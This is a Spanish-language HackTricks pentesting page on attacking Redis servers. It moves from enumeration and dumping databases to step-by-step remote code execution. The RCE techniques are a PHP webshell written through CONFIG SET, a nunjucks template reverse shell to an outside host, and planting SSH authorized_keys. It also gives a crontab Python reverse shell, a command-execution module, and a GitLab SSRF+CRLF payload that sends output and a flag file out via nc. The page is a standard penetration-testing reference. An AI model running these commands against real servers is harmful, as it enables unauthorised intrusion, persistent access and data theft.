21 KiB
6379 - Pentesting Redis
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Información básica
Redis es un almacén de estructuras de datos en memoria de código abierto (con licencia BSD), utilizado como base de datos, caché y broker de mensajes (de aquí). Por defecto y comúnmente, Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar ssl/tls. Aprende cómo ejecutar Redis con ssl/tls aquí.
Puerto predeterminado: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumeración Automática
Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumeración manual
Banner
Redis es un protocolo basado en texto, simplemente puedes enviar el comando en un socket y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse utilizando ssl/tls (pero esto es muy raro).
En una instancia regular de Redis, puedes simplemente conectarte usando nc
o también podrías usar redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
El primer comando que podrías probar es info
. Puede devolver una salida con información de la instancia de Redis o algo como lo siguiente es devuelto:
-NOAUTH Authentication required.
En este último caso, esto significa que necesitas credenciales válidas para acceder a la instancia de Redis.
Autenticación de Redis
Por defecto, Redis se puede acceder sin credenciales. Sin embargo, se puede configurar para admitir solo contraseña o usuario + contraseña.
Es posible establecer una contraseña en el archivo redis.conf con el parámetro requirepass
o temporalmente hasta que el servicio se reinicie conectándose a él y ejecutando: config set requirepass p@ss$12E45
.
Además, se puede configurar un nombre de usuario en el parámetro masteruser
dentro del archivo redis.conf.
{% hint style="info" %}
Si solo se configura una contraseña, el nombre de usuario utilizado es "default".
Además, ten en cuenta que no hay forma de encontrar externamente si Redis se configuró solo con contraseña o usuario+contraseña.
{% endhint %}
En casos como este, necesitarás encontrar credenciales válidas para interactuar con Redis, por lo que podrías intentar atacar por fuerza bruta.
En caso de encontrar credenciales válidas, debes autenticar la sesión después de establecer la conexión con el comando:
AUTH <username> <password>
Credenciales válidas recibirán una respuesta de: +OK
Enumeración autenticada
Si la instancia de Redis acepta conexiones anónimas o encontraste algunas credenciales válidas, puedes comenzar a enumerar el servicio con los siguientes comandos:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Otros comandos de Redis se pueden encontrar aquí y aquí.
Tenga en cuenta que los comandos de Redis de una instancia pueden ser renombrados o eliminados en el archivo redis.conf. Por ejemplo, esta línea eliminará el comando FLUSHDB:
rename-command FLUSHDB ""
Más información sobre la configuración segura de un servicio Redis aquí: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
También puedes monitorizar en tiempo real los comandos Redis ejecutados con el comando monitor
o obtener las 25 consultas más lentas con slowlog get 25
Encuentra más información interesante sobre otros comandos Redis aquí: https://lzone.de/cheat-sheet/Redis
Volcado de la base de datos
Dentro de Redis, las bases de datos son números que comienzan desde 0. Puedes encontrar si alguna está en uso en la salida del comando info
dentro del bloque "Keyspace":
O simplemente puedes obtener todos los keyspaces (bases de datos) con:
INFO keyspace
En ese ejemplo se están utilizando las bases de datos 0 y 1. La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1. Por defecto, Redis utilizará la base de datos 0. Para hacer un volcado de la base de datos 1, debes hacer lo siguiente:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
En caso de que obtenga el siguiente error -WRONGTYPE Operación contra una clave que contiene un tipo de valor incorrecto
mientras ejecuta GET <CLAVE>
, es porque la clave puede ser algo distinto a una cadena o un entero y requiere un operador especial para mostrarla.
Para conocer el tipo de la clave, utilice el comando TYPE
, como se muestra en el siguiente ejemplo para claves de lista y de hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
Volcar la base de datos con npm redis-dump o python redis-utils
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
RCE de Redis
Shell Interactivo
redis-rogue-server puede obtener automáticamente un shell interactivo o un shell inverso en Redis (<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Información de aquí. Debes conocer la ruta de la carpeta del sitio web:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Si se produce una excepción de acceso a la webshell, puedes vaciar la base de datos después de hacer una copia de seguridad e intentarlo de nuevo, recuerda restaurar la base de datos.
Plantilla Webshell
Como en la sección anterior, también puedes sobrescribir algún archivo de plantilla HTML que será interpretado por un motor de plantillas y obtener una shell.
Por ejemplo, siguiendo este artículo, puedes ver que el atacante inyectó una shell inversa en un HTML interpretado por el motor de plantillas nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Ten en cuenta que varios motores de plantillas almacenan en caché las plantillas en memoria, por lo que incluso si las sobrescribes, la nueva no se ejecutará. En estos casos, o bien el desarrollador dejó activada la recarga automática o necesitas hacer un DoS en el servicio (y esperar que se reinicie automáticamente). {% endhint %}
SSH
Ten en cuenta que el resultado de config get dir
puede cambiar después de ejecutar otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de config get dir
puedes encontrar el directorio raíz del usuario redis (generalmente /var/lib/redis o /home/redis/.ssh), y sabiendo esto, sabrás dónde puedes escribir el archivo authenticated_users
para acceder a través de ssh con el usuario redis. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de él:
- Genera un par de claves pública-privada ssh en tu PC:
ssh-keygen -t rsa
- Escribe la clave pública en un archivo:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Importa el archivo a redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Guarda la clave pública en el archivo authorized_keys en el servidor de redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finalmente, puedes hacer ssh al servidor de redis con la clave privada: ssh -i id_rsa redis@10.85.0.52
Esta técnica está automatizada aquí: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
El último ejemplo es para Ubuntu, para Centos, el comando anterior debería ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Este método también se puede utilizar para ganar bitcoin: yam
Cargar módulo Redis
- Siguiendo las instrucciones de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand puedes compilar un módulo de Redis para ejecutar comandos arbitrarios.
- Luego necesitas alguna forma de subir el módulo compilado.
- Cargar el módulo subido en tiempo de ejecución con
MODULE LOAD /ruta/al/mymodule.so
. - Listar los módulos cargados para verificar que se haya cargado correctamente:
MODULE LIST
. - Ejecutar comandos:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Descargar el módulo cuando lo desees:
MODULE UNLOAD mymodule
Bypass del sandbox de LUA
Aquí puedes ver que Redis utiliza el comando EVAL para ejecutar código Lua en un entorno aislado. En la publicación vinculada, puedes ver cómo abusar de ello utilizando la función dofile, pero aparentemente esto ya no es posible. De todos modos, si puedes burlar el sandbox de Lua, podrías ejecutar comandos arbitrarios en el sistema. Además, en la misma publicación puedes ver algunas opciones para causar una denegación de servicio (DoS).
Algunas CVE para escapar de LUA:
Módulo Maestro-Esclavo
Todas las operaciones del redis maestro se sincronizan automáticamente en el redis esclavo, lo que significa que podemos considerar la vulnerabilidad de redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar comandos en nuestro propio redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF hablando con Redis
Si puedes enviar una solicitud en texto claro a Redis, puedes comunicarte con él ya que Redis leerá línea por línea la solicitud y simplemente responderá con errores a las líneas que no comprenda:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Por lo tanto, si encuentras una vulnerabilidad de SSRF en un sitio web y puedes controlar algunos encabezados (tal vez con una vulnerabilidad de CRLF) o parámetros POST, podrás enviar comandos arbitrarios a Redis.
Ejemplo: Gitlab SSRF + CRLF a Shell
En Gitlab11.4.7 se descubrió una vulnerabilidad de SSRF y una de CRLF. La vulnerabilidad de SSRF estaba en la funcionalidad de importar proyecto desde una URL al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma [0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad de CRLF se explotaba simplemente agregando caracteres %0D%0A a la URL.
Por lo tanto, era posible abusar de estas vulnerabilidades para comunicarse con la instancia de Redis que gestiona las colas de gitlab y abusar de esas colas para obtener ejecución de código. La carga útil para abusar de la cola de Redis es:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Y la solicitud de codificación de URL que abusa de SSRF y CRLF para ejecutar whoami
y enviar la salida a través de nc
es:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Por alguna razón (como menciona el autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de donde se obtuvo esta información), la explotación funcionó con el esquema git
y no con el esquema http
.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.